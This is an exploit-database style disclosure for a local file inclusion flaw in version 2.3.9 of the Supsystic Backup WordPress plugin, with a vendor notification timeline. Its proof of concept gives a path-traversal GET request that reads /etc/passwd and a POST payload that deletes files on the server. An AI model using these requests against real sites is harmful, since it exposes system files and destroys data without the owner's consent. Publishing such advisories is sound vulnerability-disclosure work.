WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion

# Exploit Title: WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion
# Date: 24/07/2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip
# Version: 2.3.9
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2


# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply.
# 29/11 2020: WordPress Plugin Security team contacted
# 01/12 2020: Plugin/Project closed by WordPress Security team


# 1. Description

Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI).


# 2. Proof of Concept (PoC)

Create a backup. When downloading the backup, change its path:

GET http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd


The "Delete" tab also allows an attacker to delete files on the server:

POST http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog
Payload: reqType=ajax&page=backup&action=removeAction&filename=[FILE PATH]&deleteLog=1&pl=bup